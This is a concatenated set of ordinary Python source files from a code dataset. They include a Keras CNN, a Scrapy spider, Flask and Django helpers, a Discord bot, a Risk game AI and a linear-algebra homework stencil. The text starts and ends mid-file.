xbatch in enumerate(x_batch):\n x_tmp = np.load(xbatch)['X_train']\n for j in range(self.n_channels):\n x[i, :, :, j] = np.pad(x_tmp[:, :, j],\n ((self.n_padding, self.n_padding), (self.n_padding, self.n_padding)), 'wrap')\n y[i] = np.load(y_batch[i])['y_train']\n return x, y\n\n\nclass MyKerasCNN():\n \"\"\"\n Class of Convolutional Neural Nework (CNN).\n \"\"\"\n\n def __init__(self, n_points, activation_function):\n self.n_points = n_points\n self.n_channels = 3\n self.act_fun = activation_function\n self.model = None\n\n def deconv_cnn_model(self, loss_func, opt, n_kernels, kernel_size):\n \"\"\"Simple Deconvolutional Convolutional Neural Network.\n :param loss_func: loss function\n :param opt: optimizer\n :param n_kernels: number of kernels\n :param kernel_size: tuple of sizes of kernels\n :return: model\n \"\"\"\n n_padding = int((kernel_size[0] + kernel_size[1] - 2)/2)\n print(n_padding)\n input_shape = (2*n_padding+self.n_points, 2*n_padding+self.n_points, self.n_channels)\n model = Sequential() # Initialize model\n # Deconv CNN\n model.add(Conv2D(n_kernels, kernel_size=(1, kernel_size[0]), activation=self.act_fun,\n kernel_initializer='he_normal',\n input_shape=input_shape, padding='valid'))\n model.add(Conv2D(n_kernels, kernel_size=(kernel_size[0], 1), activation=self.act_fun,\n kernel_initializer='he_normal', padding='valid'))\n model.add(Conv2D(3, kernel_size=(kernel_size[1], kernel_size[1]), activation=self.act_fun,\n kernel_initializer='he_normal', padding='valid'))\n # compile model\n model.compile(loss=loss_func, optimizer=opt)\n logging.info(model.summary())\n self.model = model\n return self.model\n\n def deconv_cnn_noise_model(self, loss_func, opt, n_kernels, kernel_size):\n \"\"\" Deconvolutional Convolutional Neural Network joined with denoising CNN.\n :param loss_func: loss function\n :param opt: optimizer\n :param n_kernels: number of kernels\n :param kernel_size: tuple of sizes of kernels\n :return: model\n \"\"\"\n # create model\n input_shape = (int(3 / 2 * self.n_points), int(3 / 2 * self.n_points), self.n_channels)\n model = Sequential() # Initialize model\n # # Deconv CNN\n model.add(Conv2D(n_kernels, kernel_size=(1, kernel_size[0]), activation=self.act_fun, kernel_initializer='he_normal',\n input_shape=input_shape, padding='valid'))\n model.add(Conv2D(n_kernels, kernel_size=(kernel_size[0], 1), activation=self.act_fun, kernel_initializer='he_normal',\n padding='valid'))\n model.add(Conv2D(512, kernel_size=(kernel_size[1], kernel_size[1]), kernel_initializer='he_normal',\n padding='valid'))\n # Denoising CNN\n model.add(Conv2D(512, kernel_size=(1, 1), activation=self.act_fun, kernel_initializer='he_normal',\n padding='valid'))\n model.add(Conv2D(3, kernel_size=(8, 8), activation=self.act_fun, kernel_initializer='he_normal',\n padding='valid'))\n\n # compile model\n model.compile(loss=loss_func, optimizer=opt)\n logging.info(model.summary())\n self.model = model\n return self.model\n","sub_path":"nn_keras.py","file_name":"nn_keras.py","file_ext":"py","file_size_in_byte":4601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"289124545","text":"# Daniel Chen\n# January 1st, 2019 is a Tuesday. Given this information and your knowledge of the days of the week, write a program that takes in a date within 2019 and returns the day of the week (Monday, Tuesday, etc...)\n# 21 March 2019\n\n# List solution because elifs are long and I don't know how to use dictionaries\nmonths = ['january', 'february', 'march', 'april', 'may', 'june', 'july', \n'august', 'september', 'october', 'november', 'december']\ndaysinmonth = [0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334] # Change for leap year\ndaysinweek = ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday']\n\ndef day_validation():\n try:\n global day\n day = int(input('Day (e.g.: 1): '))\n if day > 0 and day < 32:\n pass\n else:\n print('Not a valid date. Try again.')\n day_validation()\n except ValueError:\n print('Not an integer. Try again.')\n day_validation()\n except KeyboardInterrupt:\n day_validation()\n\ndef month_validation():\n global months\n global dayincurrentmonth\n global printmonth\n month = input('Month (e.g.: January or 1): ')\n if month.lower() in months:\n dayincurrentmonth = daysinmonth[months.index(month.lower())]\n printmonth = month[:1].upper() + month[1:].lower()\n elif int(month) > 0 and int(month) < 13:\n dayincurrentmonth = daysinmonth[int(month) - 1]\n printmonth = months[int(month) - 1]\n printmonth = printmonth[:1].upper() + printmonth[1:].lower()\n else:\n print('Not a month.')\n month_validation()\n\n\nmonth_validation()\nday_validation()\n\ndays = day + dayincurrentmonth\nrelevant_days = (days + 2) % 7 # Change ' + 2 ' to whatever day of the week to update (e.g.: next year would be +3)\nprint(str(daysinweek[relevant_days - 1]) + ', ' + printmonth + ' ' + str(day) + ', 2019') # Change to update year\n\n# Longer solution using elif\nmonth = input('Month (e.g.: January or 1): ')\nmonth = month.lower()\n\nday = int(input('Day (e.g.: 1): '))\n\nif day < 0 or day > 32:\n print('Not a valid date.')\n exit()\n\nif month == 'january' or int(month) == 1: # Breaks with leap years\n monthdays = 0\n printmonth = ', January '\nelif month == 'february' or int(month) == 2:\n monthdays = 31\n printmonth = ', February '\nelif month == 'march' or int(month) == 3:\n monthdays = 59\n printmonth = ', March '\nelif month == 'april' or int(month) == 4:\n monthdays = 90\n printmonth = ', April '\nelif month == 'may' or int(month) == 5:\n monthdays = 120\n printmonth = ' May '\nelif month == 'june' or int(month) == 6:\n monthdays = 151\n printmonth = ', June '\nelif month == 'july' or int(month) == 7:\n monthdays = 181\n printmonth = ', July '\nelif month == 'august' or int(month) == 8:\n monthdays = 212\n printmonth = ', August '\nelif month == 'september' or int(month) == 9:\n monthdays = 243\n printmonth = ', September '\nelif month == 'october' or int(month) == 10:\n monthdays = 273\n printmonth = ', October '\nelif month == 'november' or int(month) == 11:\n monthdays = 304\n printmonth = ', November '\nelif month == 'december' or int(month) == 12:\n monthdays = 334\n printmonth = ', December '\nelse:\n print('Not a valid month.')\n exit()\n\ndays = monthdays + day\nrelevant_days = (days + 2) % 7 - 1\nif relevant_days == 0:\n print('Sunday' + printmonth + str(day) + ', 2019') # Change to update year\nelif relevant_days == 1:\n print('Monday' + printmonth + str(day) + ', 2019')\nelif relevant_days == 2:\n print('Tuesday' + printmonth + str(day) + ', 2019')\nelif relevant_days == 3:\n print('Wednesday' + printmonth + str(day) + ', 2019')\nelif relevant_days == 4:\n print('Thursday' + printmonth + str(day) + ', 2019')\nelif relevant_days == 5:\n print('Friday' + printmonth + str(day) + ', 2019')\nelse:\n print('Saturday' + printmonth + str(day) + ', 2019')","sub_path":"Scripting/logicchallenge.py","file_name":"logicchallenge.py","file_ext":"py","file_size_in_byte":3917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"395044291","text":"\"\"\"\nTheJMGroup spider created on the top of ATSSpider\n\nscrapy crawl thejmgroup -a mining_job_id=9999 -a iteration=1 -a extract=1 -a url=\"https://www.thejmgroup.com/job-search\"\n\nSample URL:\n https://www.thejmgroup.com/job-search\n\"\"\"\n\nfrom scrapy.http import Request\nfrom scrapy.selector import Selector\n\nfrom brightcorp.base.atsspiders import ATSSpider\nfrom brightcorp.items import BrightcorpItemLoader\nfrom brightcorp.processors import Prefix, RemoveBadElements, md5_hash\n\n\nclass TheJMGroup(ATSSpider):\n\n name = 'thejmgroup'\n\n def parse(self, response):\n sel = Selector(response)\n # set expected job count\n if not self.expected_job_count_set:\n expected_count = sel.xpath(\n '//div/h6[@class=\"job-count\"]/text()'\n ).extract()\n if expected_count:\n self.expected_job_count = expected_count[0]\n for href in sel.xpath(\n '//div/div/div/div[@class=\"list-box\"]/h4/a/@href'\n ).extract():\n yield Request(\n callback=self.parse_job_callback(),\n url=href\n )\n\n # pagination\n next_page = filter(None, sel.xpath(\n '//div[contains(@class, \"pagination-btm\")]/a[@class=\"next-arrow right\"]/@href'\n ).extract())\n if next_page:\n yield Request(\n callback=self.parse,\n url=next_page[0]\n )\n\n def parse_job(self, response):\n \"\"\"\n Extract all required information.\n \"\"\"\n sel = Selector(response)\n\n loader = BrightcorpItemLoader(selector=sel)\n loader.add_xpath(\n 'title',\n '//div/h1[@class=\"job-title\"]/text()'\n )\n loader.add_xpath(\n 'location',\n '//div/span[@class=\"location-icon\"]/following-sibling::a[1]/text()'\n )\n loader.add_value(\n 'referencenumber',\n response.url,\n md5_hash,\n Prefix('%s-' % self.name)\n )\n loader.add_value('url', response.url)\n loader.add_xpath(\n 'description',\n '//div/h2[contains(text(), \"Job Description\")]/..',\n RemoveBadElements(['img', ])\n )\n loader.add_xpath(\n 'baseSalary',\n '//div[contains(text(), \"salary-text\")]/a/text()'\n )\n loader.add_xpath(\n 'jobtype',\n '//div/span[@class=\"detail-job-type-icon\"]/following-sibling::a[1]/text()'\n )\n loader.add_value('apply_url', response.url)\n\n yield loader.load_item()\n","sub_path":"brightcorp/brightcorp/spiders/thejmgroup.py","file_name":"thejmgroup.py","file_ext":"py","file_size_in_byte":2583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"20162824","text":"from BaseModel import *\nimport os\nfrom Endereco import *\n\nclass Empresa(BaseModel):\n nome= CharField()\n cnpj = CharField()\n ehFornecedor = IntegerField()\n email = CharField()\n endereco = ForeignKeyField(Endereco)\n def __str__ (self):\n return \"Empresa \"+self.nome+\" com CNPJ \"+self.cnpj+\" localizada em \"+str(self.endereco)+\" pode ser contada através do e-mail \"+self.email+\". \"+ehFornecedor(self.ehFornecedor)\n\ndef ehFornecedor(valor):\n if valor==1:\n return \"Essa empresa é fornecedora\"\n else: \n return \"Essa empresa não é fornecedora\"\n\nif __name__ == '__main__':\n \n if os.path.exists(arq):\n os.remove(arq)\n\n try:\n db.connect()\n db.create_tables([Pais,Estado,Cidade,Endereco,Empresa])\n except OperationalError as e:\n print(\"Erro ao criar tabela: \"+str(e))\n\n pais1 = Pais.create(nomePais=\"Brasil\")\n pais2 = Pais.create(nomePais=\"Estados Unidos\")\n\n estado1 = Estado.create(nomeEstado=\"Santa Catarina\", pais = pais1)\n estado2 = Estado.create(nomeEstado=\"Rio Grande do Sul\", pais = pais1)\n estado3 = Estado.create(nomeEstado=\"New York\", pais = pais2)\n estado4 = Estado.create(nomeEstado=\"Ohio\", pais = pais2)\n\n cidade1 = Cidade.create(nomeCidade=\"Indaial\", estado = estado1)\n cidade2 = Cidade.create(nomeCidade=\"Blumenau\", estado = estado1)\n cidade3 = Cidade.create(nomeCidade=\"Santa Maria\", estado = estado2)\n cidade4 = Cidade.create(nomeCidade=\"Buffalo\", estado = estado3)\n cidade5 = Cidade.create(nomeCidade=\"Toronto\", estado = estado4)\n\n endereco1 = Endereco.create(codigo=1, nomeBairro=\"Salto do Norte\", nomeRua=\"Rua Benardino\", numero=144, cidade=cidade2)\n endereco2 = Endereco.create(codigo=2, nomeBairro=\"Mulde\", nomeRua=\"Rua Boa Esperança\", numero=100, cidade=cidade1)\n endereco3 = Endereco.create(codigo=2, nomeBairro=\"Rosedale\", nomeRua=\"Main Street\", numero=98, cidade=cidade5)\n endereco4 = Endereco.create(codigo=2, nomeBairro=\"Manchers\", nomeRua=\"3 Avenue\", numero=14, cidade=cidade4)\n\n empresa1 = Empresa.create(nome=\"Empresa 1\", cnpj=\"01010010101\", ehFornecedor=1, email=\"teste.teste@gmail.com\", endereco=endereco4)\n empresa2 = Empresa.create(nome=\"Empresa 2\", cnpj=\"01010010122\", ehFornecedor=0, email=\"teste1.teste1@gmail.com\", endereco=endereco1)\n empresa3 = Empresa.create(nome=\"Empresa 3\", cnpj=\"01010010133\", ehFornecedor=1, email=\"teste2.teste2@gmail.com\", endereco=endereco2)\n\n todos = Empresa.select()\n for empresa in todos:\n print(empresa)\n ","sub_path":"Trabalho2/Empresa.py","file_name":"Empresa.py","file_ext":"py","file_size_in_byte":2523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"238205222","text":"#\n# OBJECTIVE - to create a list of dictionaries, and not add the dictionary to the\n# list if it is missing any of two specific keys.\n#\n# USE CASE - use findings to create a script that will take an artifactory repository\n# export and walk the export directory searching for .pom or .jar files, and when\n# found get its relative path. Using those values, create a curl command to upload\n# them to another instance of artifactory.\n#\n\nartifactSetList = []\n\n# dict of three\nartifactSet = {\"deployPath\" : \"\\\\tic\\\\tac\\\\toe\\\\1.0\", \"pomFile\" : \"Toe-1.0.pom\", \"jarFile\" : \"Toe-1.0.jar\"}\nif 'jarFile' or 'pomFile' in artifactSet:\n artifactSetList.append(artifactSet)\n print(len(artifactSet))\n\n# dict of two - pom\nartifactSet = {\"deployPath\" : \"\\\\tic\\\\tac\\\\toe\\\\2.0\", \"pomFile\" : \"Toe-2.0.pom\"}\nif 'jarFile' or 'pomFile' in artifactSet:\n artifactSetList.append(artifactSet)\n print(len(artifactSet))\n\n# dict of two - jar\nartifactSet = {\"deployPath\" : \"\\\\tic\\\\tac\\\\toe\\\\3.0\", \"jarFile\" : \"Toe-3.0.jar\"}\nif 'jarFile' or 'pomFile' in artifactSet:\n artifactSetList.append(artifactSet)\n print(len(artifactSet))\n\n# dict of one\nartifactSet = {\"deployPath\" : \"\\\\tic\\\\tac\\\\toe\\\\4.0\"}\nif 'jarFile' or 'pomFile' in artifactSet:\n artifactSetList.append(artifactSet)\n print(len(artifactSet))\n\nprint(artifactSetList)\n\nfor s in artifactSetList:\n for key in s:\n print(key + ' \\t ' + s[key])\n","sub_path":"py/learnDict.py","file_name":"learnDict.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"314007507","text":"from ai import AI\nimport random\nimport math\nimport collections\nfrom ai.mctsstate import MCTSState, define_neighbours\nfrom ai.mcts import MCTS\n\nclass SD_StupidAI(AI):\n \"\"\"\n Smart drafting : plays randomly like the stupid AI, except for the drafting (placement) phase where it uses MCTS with UCT to find the best countries.\n \"\"\"\n\n def start(self):\n define_neighbours(self.player.world)\n self.mcts = MCTS()\n\n def initial_placement(self, empty, remaining):\n if empty:\n terri = {t.name: (None if t.owner == None else t.owner.name) for t in self.world.territories.values()}\n action = self.mcts.UCTSearch(MCTSState(self.player, terri))\n return action\n else:\n t = random.choice(list(self.player.territories))\n return t\n\n def attack(self):\n for t in self.player.territories:\n for a in t.connect:\n if a.owner != self.player:\n if t.forces > a.forces:\n yield (t, a, None, None)\n\n def reinforce(self, available):\n border = [t for t in self.player.territories if t.border]\n result = collections.defaultdict(int)\n for i in range(available):\n t = random.choice(border)\n result[t] += 1\n return result\n","sub_path":"ai/sd_stupid.py","file_name":"sd_stupid.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"378099726","text":"# Definition for singly-linked list:\n# class ListNode(object):\n# def __init__(self, x):\n# self.value = x\n# self.next = None\n#\ndef rearrangeLastN(l, n):\n head = l\n tail = l\n while(n != 0):\n head = head.next\n n -= 1\n \n if head == None or head == l:\n return l\n while(head.next != None):\n tail = tail.next\n head = head.next\n \n \n list_head = tail.next\n list_tail = head\n tail.next = None\n list_tail.next = l\n return list_head\n ","sub_path":"Interviews Practice/Linked List/rearrangeLastN.py","file_name":"rearrangeLastN.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"305430109","text":"from prj001.models.geninfo import GeneralInfo\n\n\ndef get_group_info(sf=None, obj=None, type=None, request=None):\n '''返回同组数据'''\n if not type:\n of_groups = sf.request.user.groups.all()\n else:\n of_groups = request.user.groups.all()\n users = [group.user_set.all() for group in of_groups]\n gen_objects = None\n\n _ID = set()\n for u in users:\n for user in u:\n _ID.add(user.id)\n\n if not _ID:\n _ID.add(sf.request.user.id)\n\n if not type:\n gen_objects = obj.objects.filter(owner__in=_ID).order_by('-serial')\n return (gen_objects, _ID)\n\n\ndef get_all_group_info(obj=None, is_not_info=None):\n '''返回所有的信息(包括不同组)'''\n if is_not_info and obj:\n return obj.objects.all().order_by('-pk')\n if obj:\n return obj.objects.all().order_by('-serial')\n return GeneralInfo.objects.all().order_by('-serial')\n","sub_path":"prj001/utils/group_info.py","file_name":"group_info.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"141491690","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n' 项目初始化'\nimport functools\nimport hashlib\nimport json\nimport re\n\nimport flask\nimport werkzeug\nimport yaml\n\nfrom flask_cachecontrol import FlaskCacheControl\nfrom werkzeug.exceptions import PreconditionRequired\n\n__author__ = 'Andrew Wen'\n\n\nfrom flask import Flask\nfrom flask_bootstrap import Bootstrap\nfrom flask_cors import CORS\nfrom flask_debugtoolbar import DebugToolbarExtension\nfrom flask_mail import Mail\nfrom flask_moment import Moment\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_login import LoginManager\nfrom flasgger import Swagger\n\nfrom config import config\n\n\nbootstrap = Bootstrap()\nmail = Mail()\nmoment = Moment()\ndb = SQLAlchemy()\n\n\nlogin_manager = LoginManager()\nlogin_manager.session_protection = 'strong'\nlogin_manager.login_view = 'auth.login'\nlogin_manager.login_message = u\"请登录系统后进行操作!\"\nlogin_manager.login_message_category = \"info\"\n\n\n\n\n\ndef create_app(config_name):\n\n app = Flask(__name__)\n\n CORS(app, supports_credentials=True)\n\n app.config.from_object(config[config_name])\n config[config_name].init_app(app)\n\n bootstrap.init_app(app)\n mail.init_app(app)\n moment.init_app(app)\n db.init_app(app)\n db.app = app\n\n toolbar = DebugToolbarExtension()\n toolbar.init_app(app)\n\n login_manager.init_app(app)\n\n init_swagger(app)\n\n\n\n\n # 蓝图注册\n from pyfw.system import system_blue\n app.register_blueprint(system_blue, url_prefix='/api/v1/common')\n\n\n\n return app\n\n\ndef init_swagger(app_c):\n \"\"\"\n 初始化swagger文档生成\n 语法参考 : https://huangwenchao.gitbooks.io/swagger/content/\n :param app_c:\n :return:\n \"\"\"\n\n\n\n # 获取版本\n version = ''\n with open('./pyfw/__init__.py') as f:\n version = re.search(r'^__version__\\s*=\\s*[\\'\"]([^\\'\"]*)[\\'\"]', f.read(), re.MULTILINE).group(1)\n\n template = None\n\n with open('./swagger/template.yaml',encoding='utf-8') as f:\n\n template = yaml.load(f)\n\n\n template[\"info\"][\"version\"]=version\n # api文档模板\n # template = {\n # \"swagger\": \"2.0\",\n # \"info\": {\n # \"title\": \"基础框架api\",\n # \"description\": \"本文档描述基础开发框架相关api\",\n # \"version\": version\n # }\n # #\"host\": \"mysite.com\", # overrides localhost:500\n # #\"basePath\": \"/api\", # base bash for blueprint registration\n # # \"schemes\": [\n # # \"http\",\n # # \"https\"\n # # ],\n # # \"operationId\": \"getmyData\",\n # # \"definitions\": {\n # # \"Palette\": {\n # # \"type\": \"object\",\n # # \"properties\": {\n # # \"palette_name\": {\n # # \"type\": \"array\",\n # # \"items\": {\n # # \"$ref\": \"#/definitions/Color\"\n # # }\n # # }\n # # }\n # # },\n # # \"Color\": {\n # # \"type\": \"string\"\n # # }\n # # }\n # }\n\n #print(template)\n template[\"definitions\"][\"user\"]={\n \"type\": \"object\",\n \"properties\": {\n \"palette_name\": {\n \"type\": \"array\",\n \"items\": {\n \"$ref\": \"#/definitions/Color\"\n }\n }\n }\n }\n\n swagger = Swagger(app_c, template=template)\n\n return app_c","sub_path":"code/init.py","file_name":"init.py","file_ext":"py","file_size_in_byte":3402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"63275363","text":"import discord\nimport asyncio\nimport json\nfrom discord.ext.commands import Bot\nfrom discord.ext import commands\nimport platform\nimport dbInterface\n\n# Here you can modify the bot's prefix and description and wether it sends help in direct messages or not.\ndiscordBot = Bot(description=\"TestBot\", command_prefix=\"!\", pm_help=True)\nUsers = dict()\n\n\ndef getToken():\n data = json.load(open('token.json'))\n return data[\"token\"]\n\n\n# This is what happens everytime the bot launches.\n@discordBot.event\nasync def on_ready():\n print('Logged in as')\n print(discordBot.user.name)\n print(discordBot.user.id)\n\n for member in discordBot.get_all_members():\n Users[member.name] = dbInterface.History(member.name, member.id)\n Users[member.name].logMessage(\"ASDF\")\n\n\n@discordBot.event\nasync def on_message(message):\n if message.author == discordBot.user:\n return\n\n Users[message.author.name].logMessage(message.content)\n\n await discordBot.process_commands(message)\n\n\n@discordBot.command()\nasync def ping(*args):\n await discordBot.say(\":ping_pong: Pong!\")\n\n\n@discordBot.command()\nasync def pong(*args):\n await discordBot.say(\":ping_pong: Ping!\")\n\n\n@discordBot.command(pass_context=True)\nasync def history(ctx, num):\n await discordBot.say(Users[ctx.message.author.name].getLastMessages(num))\n\n\ndiscordBot.run(getToken())\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"103046412","text":"# version code c2eb1c41017f+\n# Please fill out this stencil and submit using the provided submission script.\n\nfrom resources.matutil import *\nfrom resources.GF2 import one\nfrom resources.vecutil import zero_vec\nfrom resources.echelon import transformation\n\n\n## 1: (Problem 7.9.2) Recognizing Echelon Form\n# Write each matrix as a list of row lists\n\n# Definition 7.1.1: An m × n matrix A is in echelon form if it satisfies the following condition: for any row, if that\n# row’s first nonzero entry is in position k then every previous row’s first nonzero entry is in some position less\n# than k.\n\n# If a row of a matrix in echelon form is all zero then every subsequent row must also be all zero...\n\nechelon_form_1 = [[1, 2, 0, 2, 0],\n [0, 1, 0, 3, 4],\n [0, 0, 2, 3, 4],\n [0, 0, 0, 2, 0],\n [0, 0, 0, 0, 4]]\n\nechelon_form_2 = [[0, 4, 3, 4, 4],\n [0, 0, 4, 2, 0],\n [0, 0, 0, 0, 1],\n [0, 0, 0, 0, 0]]\n\nechelon_form_3 = [[1, 0, 0, 1],\n [0, 0, 0, 1],\n [0, 0, 0, 0]]\n\nechelon_form_4 = [[1, 0 ,0, 0],\n [0, 1, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0]]\n\n\n\n## 2: (Problem 7.9.3) Is it echelon?\ndef is_echelon(A):\n '''\n Input:\n - A: a list of row lists\n Output:\n - True if A is in echelon form\n - False otherwise\n Examples:\n >>> is_echelon([[1,1,1],[0,1,1],[0,0,1]])\n True\n >>> is_echelon([[0,1,1],[0,1,0],[0,0,1]])\n False\n >>> is_echelon([[1,1]])\n True\n >>> is_echelon([[1]])\n True\n >>> is_echelon([[1],[1]])\n False\n >>> is_echelon([[0]])\n True\n >>> is_echelon([[0],[1]])\n False\n >>> is_echelon([[0, 0], [1, 0], [0, 1]])\n False\n '''\n first_non_zero_idx_per_row = []\n cols = len(A[0])\n rows = len(A)\n\n for irow in range(rows):\n row_non_zero_entry_idx = None\n for icol in range(cols):\n v = A[irow][icol]\n if v != 0:\n row_non_zero_entry_idx = icol\n break\n first_non_zero_idx_per_row.append(row_non_zero_entry_idx)\n if irow > 0:\n prior_row_non_zero_entry_idx = first_non_zero_idx_per_row[irow - 1]\n if row_non_zero_entry_idx != None and (prior_row_non_zero_entry_idx == None or \\\n row_non_zero_entry_idx <= prior_row_non_zero_entry_idx):\n return False\n\n return True\n\n\n# NOTE: for 7.9.4 and 7.9.5 I used solver.solve. Remember to take the result and multiply the matrix to check\n# e.g. M = listlist2mat(...), V = list2vec([...]), b = solve(M, V), M * b - V (is almost zero)\n\n## 3: (Problem 7.9.4) Solving with Echelon Form: No Zero Rows\n# Give each answer as a list\n\nechelon_form_vec_a = [1, 0, 3, 0]\nechelon_form_vec_b = [-3, 0, -2, 3]\nechelon_form_vec_c = [-5, 0, 2, 0, 2]\n\n\n## 4: (Problem 7.9.5) Solving with Echelon Form\n# If a solution exists, give it as a list vector.\n# If no solution exists, provide \"None\" (without the quotes).\n\nsolving_with_echelon_form_a = None\nsolving_with_echelon_form_b = [21, 0, 2, 0, 0]\n\n\n## 5: (Problem 7.9.6) Echelon Solver\ndef echelon_solve(rowlist, label_list, b):\n '''\n Input:\n - rowlist: a list of Vecs\n - label_list: a list of labels establishing an order on the domain of\n Vecs in rowlist\n - b: a vector (represented as a list)\n Output:\n - Vec x such that rowlist * x is b\n >>> D = {'A','B','C','D','E'}\n >>> U_rows = [Vec(D, {'A':one, 'E':one}), Vec(D, {'B':one, 'E':one}), Vec(D,{'C':one})]\n >>> b_list = [one,0,one]\n >>> cols = ['A', 'B', 'C', 'D', 'E']\n >>> echelon_solve(U_rows, cols, b_list) == Vec({'B', 'C', 'A', 'D', 'E'},{'B': 0, 'C': one, 'A': one})\n True\n >>> U_rows = [ \\\n Vec(D, {'A': one, 'C': one, 'D': one}), \\\n Vec(D, {'B': one, 'E': one}), \\\n Vec(D, {'C': one, 'E': one}), \\\n Vec(D, {'E': one}) \\\n ]\n >>> b_list = [one, 0, one, one]\n >>> cols = ['A', 'B', 'C', 'D', 'E']\n >>> echelon_solve(U_rows, cols, b_list) == Vec(D,{'A': one, 'B': one, 'E': one})\n True\n >>> U_rows = [ \\\n Vec(D, {'A': one, 'B': one, 'D': one}), \\\n Vec(D, {'B': one, 'D': one, 'E': one}), \\\n Vec(D, {'C': one, 'E': one}), \\\n Vec(D, {}) \\\n ]\n >>> b_list = [one, 0, one, 0]\n >>> cols = ['A', 'B', 'C', 'D', 'E']\n >>> echelon_solve(U_rows, cols, b_list) == Vec(D,{'A': one, 'C': one})\n True\n '''\n x = zero_vec(rowlist[0].D)\n b_rev = list(reversed(b))\n for ixrow, row in enumerate(reversed(rowlist)):\n non_zero_labels = [label for label in label_list if row[label] != 0]\n if not len(non_zero_labels): continue\n x[non_zero_labels[0]] = b_rev[ixrow] - sum([x[label] * row[label] for label in label_list])\n # print(\"ixrow: {0}\\tnon_zero_labels: {1}\\tb: {2}\\tsum: {3}\\trow: {4}\\tx: {5}\".format(ixrow, non_zero_labels, b[ixrow], sum([x[label] * one for label in non_zero_labels[1:]]), repr(row), repr(x)))\n return x\n\n\n## 6: (Problem 7.9.7) Solving General Matrices via Echelon\ndef solve(A, b):\n \"\"\"\n :param A: Matrix R x C\n :param b: Vector R\n :return: Vector C 'x' solving Ax=b\n >>> M = Mat(({'a', 'b', 'c', 'd'}, {'A', 'B', 'C', 'D'}), { \\\n ('a', 'A'): one, ('a', 'B'): one, ('a', 'D'): one, \\\n ('b', 'A'): one, ('b', 'D'): one, \\\n ('c', 'A'): one, ('c', 'B'): one, ('c', 'C'): one, ('c', 'D'): one, \\\n ('d', 'C'): one, ('d', 'D'): one \\\n })\n >>> v = Vec(M.D[0], {'a': one, 'c': one})\n >>> solve(M, v)\n \"\"\"\n M = transformation(A)\n U = M*A\n col_label_list = sorted(A.D[1])\n U_rows_dict = mat2rowdict(U)\n row_list = [U_rows_dict[i] for i in sorted(U_rows_dict)]\n # return echelon_solve(row_list,col_label_list, M*b)\n # print(row_list, col_label_list, repr(M * b))\n return row_list, col_label_list, M * b\n\n\nM = Mat(({'a', 'b', 'c', 'd'}, {'A', 'B', 'C', 'D'}), {\n ('a', 'A'): one, ('a', 'B'): one, ('a', 'D'): one,\n ('b', 'A'): one, ('b', 'D'): one,\n ('c', 'A'): one, ('c', 'B'): one, ('c', 'C'): one, ('c', 'D'): one,\n ('d', 'C'): one, ('d', 'D'): one\n})\nv = Vec(M.D[0], {'a': one, 'c': one})\nechelon_solve_args = solve(M, v)\n\nrow_list = echelon_solve_args[0] # Provide as a list of Vec instances\nlabel_list = echelon_solve_args[1] # Provide as a list\nb = [echelon_solve_args[2][label] for label in sorted(echelon_solve_args[2].D)] # Provide as a list of GF(2) values\n\n\nA7 = Mat(({'a', 'b', 'c', 'd', 'e'}, {'A', 'B', 'C', 'D', 'E'}), {\n ('a', 'D'): one,\n ('b', 'D'): one, ('b', 'E'): one,\n ('c', 'A'): one, ('c', 'D'): one,\n ('d', 'A'): one, ('d', 'E'): one,\n ('e', 'A'): one\n})\nM7 = Mat(({0, 1, 2, 3, 4}, A7.D[0]), {\n (0, 'c'): one,\n (1, 'a'): one,\n (2, 'a'): one, (2, 'b'): one,\n (3, 'b'): one, (3, 'c'): one, (3, 'd'): one,\n (4, 'a'): one, (4, 'c'): one, (4, 'e'): one\n})\nMA7 = Mat((M7.D[0], A7.D[1]), {\n (0, 'A'): one, (0, 'D'): one,\n (1, 'D'): one,\n (2, 'E'): one\n})\ndef rows_of_M_times_A_equaling_zero_vec(M, A):\n \"\"\"\n Determine rows u of M such that u * A = 0 (Note that these are vectors in the null space of the transpose A^T)\n :param M: P (rows) x Q (cols) matrix\n :param A: R x P matrix\n :return: set row numbers of M\n >>> rows_of_M_times_A_equaling_zero_vec(M7, A7)\n {3, 4}\n >>> rows_of_M_times_A_equaling_zero_vec(M8, A8)\n {4}\n \"\"\"\n zv = zero_vec(A.D[1])\n return {k for k, v in mat2rowdict(M).items() if v * A == zv}\n\n\n## 7: (Problem 7.9.8) Nullspace A\nnull_space_rows_a = rows_of_M_times_A_equaling_zero_vec(M7, A7) # Put the row numbers of M from the PDF\n\n\nA8 = Mat(({'a', 'b', 'c', 'd', 'e'}, {'A', 'B', 'C', 'D', 'E'}), {\n ('a', 'D'): one,\n ('b', 'D'): one, ('b', 'E'): one,\n ('c', 'A'): one, ('c', 'D'): one,\n ('d', 'A'): one, ('d', 'B'): one, ('d', 'C'): one, ('d', 'E'): one,\n ('e', 'A'): one, ('e', 'D'): one\n})\nM8 = Mat(({0, 1, 2, 3, 4}, A7.D[0]), {\n (0, 'c'): one,\n (1, 'c'): one, (1, 'd'): one,\n (2, 'a'): one,\n (3, 'a'): one, (3, 'b'): one,\n (4, 'c'): one, (4, 'e'): one\n})\n## 8: (Problem 7.9.9) Nullspace B\nnull_space_rows_b = 